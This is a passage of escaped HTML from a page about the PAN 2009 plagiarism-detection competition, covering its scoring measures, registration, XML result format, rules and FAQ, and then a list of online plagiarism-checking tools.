0px; margin-left: 0px"&gt;&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;i&gt;&lt;font size="2"&gt;Remarks.&lt;/font&gt;&lt;/i&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;We use the character counts in the formulas for precision and recall instead of, for instance, word counts to meet the fact that we cannot know what kind of tokenization approach you will be using. Thus, counting the characters which overlap with plagiarized passages is the safest way to compute these values.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;Recall and precision are well-known measures to assess retrieval performance, but granularity is not. We have added this performance measure to determine whether your plagiarism detection algorithm reports a plagiarized passage as a whole, or rather divided into many small and/or overlaping phrases. The former is preferable since it accounts for a better usability of your tool.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;External plagiarism cases and external detections comprise the chars of both the plagiarized passage and the source passage.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;An external detection&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;r&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;must overlap by at least one char with both the plagiarized passage and the source passage of the corresponding&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;s&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;, otherwise it will not contribute to the recall of&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;s&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;and the precision of&amp;nbsp;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;r&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;will be set to 0.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="registration" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Registration&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The registration is closed.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;To register for participation in the competition send an e-mail to&amp;nbsp;&lt;/font&gt;&lt;a href="mailto:pan09@webis.de" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;pan09@webis.de&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;which includes the following information:&lt;/font&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;name of your group (optional),&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;full names, affiliations, and e-mail addresses of all group members,&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;the designated group leader, and&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;&amp;nbsp;the competition tasks you will be participating in.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size="2"&gt;You will receive a short notification of you registration from one of the organizers.&lt;/font&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="submission" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Result Submission&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The deadline for submitting detection results on the competition corpus is June 11, 2009.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The results of your plagiarism detection algorithm are required to be formatted in XML:&lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New"&gt;&lt;font size="2"&gt;&amp;lt;document reference="..."&amp;gt;                &amp;lt;!-- 'reference' refers to the analysed suspicious document --&amp;gt;&lt;br /&gt;  &amp;lt;feature name="detected-plagiarism"     &amp;lt;!-- plagiarism which was detected in an external analysis --&amp;gt;&lt;br /&gt;           this_offset="5"                &amp;lt;!-- the char offset within the suspicious document --&amp;gt;&lt;br /&gt;           this_length="1000"             &amp;lt;!-- the number of chars beginning at the offset --&amp;gt;&lt;br /&gt;           source_reference="..."         &amp;lt;!-- reference to the source document --&amp;gt;&lt;br /&gt;           source_offset="100"            &amp;lt;!-- the char offset within the source document --&amp;gt;&lt;br /&gt;           source_length="1000"           &amp;lt;!-- the number of chars beginning at the offset --&amp;gt;&lt;br /&gt;  /&amp;gt;&lt;br /&gt;  ...                                     &amp;lt;!-- more external analysis results in this suspicious document --&amp;gt;&lt;br /&gt;&lt;br /&gt;  &amp;lt;feature name="detected-plagiarism"     &amp;lt;!-- plagiarism which was detected in an intrinsic analysis --&amp;gt;&lt;br /&gt;           this_offset="5"                &amp;lt;!-- just like above but excluding the "source"-attributes --&amp;gt;&lt;br /&gt;           this_length="1000"&lt;br /&gt;  /&amp;gt;&lt;br /&gt;  ...                                     &amp;lt;!-- more intrinsic analysis results in this suspicious document --&amp;gt;&lt;br /&gt;&amp;lt;/document&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The result document must be valid with respect to the XML schema found&amp;nbsp;&lt;/font&gt;&lt;a href="http://www.uni-weimar.de/medien/webis/research/corpora/pan-pc-09/document.xsd" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;here&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;In order to upload your results, please follow this&amp;nbsp;&lt;/font&gt;&lt;a href="http://docs.google.com/viewer?url=http%3A%2F%2Fwww.uni-weimar.de%2Fmedien%2Fwebis%2Fresearch%2Fworkshopseries%2Fpan-09%2Fpan-09-result-submission-tutorial.pdf" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;tutorial&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;.&lt;/font&gt;&lt;/p&gt;&lt;h3 id="network" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Participant Network&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;We have set up a mailing list to connect prospective participants. Feel free to join!&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;/p&gt;&lt;table cellspacing="0" style="margin-right: 0px; margin-left: 0px" class="zeroBorder"&gt;&lt;tbody style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;Subscribe to the mailing list:&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;Email:&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;a href="http://groups.google.com/group/pan09-competition" target="_blank" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Visit the mailing list.&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="rules" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Competition Rules&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Agreement&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. Participation in the competition constitutes the participant's full and unconditional agreement and acceptance of these rules.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Eligibility&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. The contest is open to any party planning to attend the PAN competition. A person can participate in only one group. Multiple submissions per group are allowed for each task. We will not provide feedback on the performance at the time of submission: only the last submission before the deadline will be evaluated and all other submissions will be discarded.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Integrity&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. The exploitation of potential flaws in the competition corpus to gain advantages in the competition is prohibited.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Winner Selection&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. There will be one winner of the "External Plagiarism Analysis" task, one winner of the "Intrinsic Plagiarism Analysis" task, and one winner of the whole competition. The winners will be determined according to the following method. All participants are ranked according to their overall performance on the competition corpus for each task which is measured as F-measure (harmonic mean of precision and recall) divided by granularity. Winner of a task is the participant who has the highest score on the respective part of the corpus. Winner of the competition is the participant who has the highest score on the whole competition corpus.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Award&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;. The winner of the whole competition will be awarded the prize money. We expect that one member of the winning group attends the forthcoming PAN workshop and presents his approach. The winner is also encouraged to submit a research paper about his approach to the workshop.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="faq" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;FAQ&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;/p&gt;&lt;ol style="margin-right: 0px; margin-left: 20px"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;My software will not be able to detect cross-language plagiarism. Can I participate anyway?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Yes, definitely! The corpora contain only a small percentage of cross-language plagiarism. However, when selecting the winner we will not distinguish participants who claim to detect cross-language plagiarism from those who don't.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Is it mandatory to also submit a research paper to the workshop when participating in the competition?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;No, but we strongly encourage you to do so since this is a great opportunity for you to present your approach.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Do I need to submit my paper in Spanish?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;No, unlike the SEPLN conference the PAN workshop will be held in English only.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;How often can I submit detection results?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;As often as you like, however, only the last submission counts for the competition.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Is it possible to register only for the PAN workshop and not for the SEPLN conference?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Yes.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Can vendors of commercial plagiarism detection software participate?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Yes.&lt;/font&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="organizer" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Competition Organization&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;Martin Potthast, and Andreas Eiselt (&lt;/font&gt;&lt;a href="http://www.uni-weimar.de/medien/webis" target="_blank" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Bauhaus University Weimar&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;), and&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Alberto Barrón-Cedeño (&lt;/font&gt;&lt;a href="http://users.dsic.upv.es/grupos/nle" target="_blank" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Universidad Politécnica de Valencia&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;)&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;br&gt;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;5.other tools&amp;nbsp;&lt;/p&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;/p&gt;&lt;font size="2"&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="530" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="#0000FF" colspan="2" height="30" valign="center"&gt;&lt;font color="#FFFFFF" face="Arial,Helvetica" size="5"&gt;Plagiarism Tools&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="2" height="30" valign="center"&gt;&lt;hr noshade=""&gt;&lt;div align="right"&gt;&lt;font size="3"&gt;&lt;a href="#addalink"&gt;&lt;img align="middle" alt="Down arrow" border="0" height="12" hspace="2" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;font face="Arial,Helvetica" size="1"&gt;Add a link&lt;/font&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img align="middle" alt="Up arrow" border="0" height="12" hspace="2" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;font face="Arial,Helvetica" size="1"&gt;Top of page&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table align="left" border="0" cellpadding="0" cellspacing="0" width="530" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Duplichecker ... Free plagiarism checker&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.duplichecker.com"&gt;http://www.duplichecker.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Duplichecker ... Free plagiarism checker&lt;br&gt;Check plagiarism for free on several search engines. Check with and without quotes making sure content is not indexed before.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Viper - easy, accurate, free - plagiarism checker&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.scanmyessay.com"&gt;http://www.scanmyessay.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;This easy, accurate and free plagiarism checker will help you stay plagiarism-free!&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Teacher and Student Plagiarism Checking&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.assignmentproof.com"&gt;http://www.assignmentproof.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Whether you want to check plagiarism against a submitted set of documents, cached or live internet resources, publications, books, articles, magazines or billions of student papers submitted in universities and colleges world wide...we can offer a solution which is both budget friendly and guarantees results with a full money back warranty.&lt;br&gt;Free trial&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Chimpsky&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://chimpsky.uwaterloo.ca"&gt;http://chimpsky.uwaterloo.ca&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Chimpsky detects plagiarism in text documents.&lt;br&gt;It finds duplicated content within a set of uploaded documents, and it facilitates Google searches for web-derived content.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Plagiarism Checking&lt;/b&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;http://www.checkforplagiarism.net/&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.checkforplagiarism.net"&gt;http://www.checkforplagiarism.net&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Choosing An Online Plagiarism Detector To Check For Plagiarism&lt;br&gt;With so many online plagiarism detectors, choosing one may seem like an overwhelming task, but it can be easy if you know what you're looking for.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Plagiarism Detection : List at PlagiarismAdvice (UK)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarismadvice.org/plagiarismdetection.php"&gt;http://www.plagiarismadvice.org/plagiarismdetection.php&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Plagiarism Detection : List at PlagiarismAdvice (UK)&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;ImageStamper (really a citation tool)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://s1.imagestamper.com/"&gt;http://s1.imagestamper.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;ImageStamper is a free tool for keeping dated, independently verified copies of license conditions associated with creative commons images.&lt;br&gt;You can use it to safeguard your use of free images from license changes, or to prove you are the original image creator.&lt;br&gt;Simply paste the URL of the page that contains the image you intend to use. ImageStamper will produce a timestamp of the image's license and will store this timestamp permanently in your account.&lt;br&gt;The timestamp proves you obtained the image under that license and you can show it to others using a unique permalink.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Plagium&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagium.com"&gt;http://www.plagium.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Plagium is a fast, and easy-to-use means to check text against possible plagiarism or possible sources of origination.&lt;br&gt;User can simply enter text that he would like to analyze into the text box and let Plagium do the rest of the work or he can also check the contents of an entered URL for its sources.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" 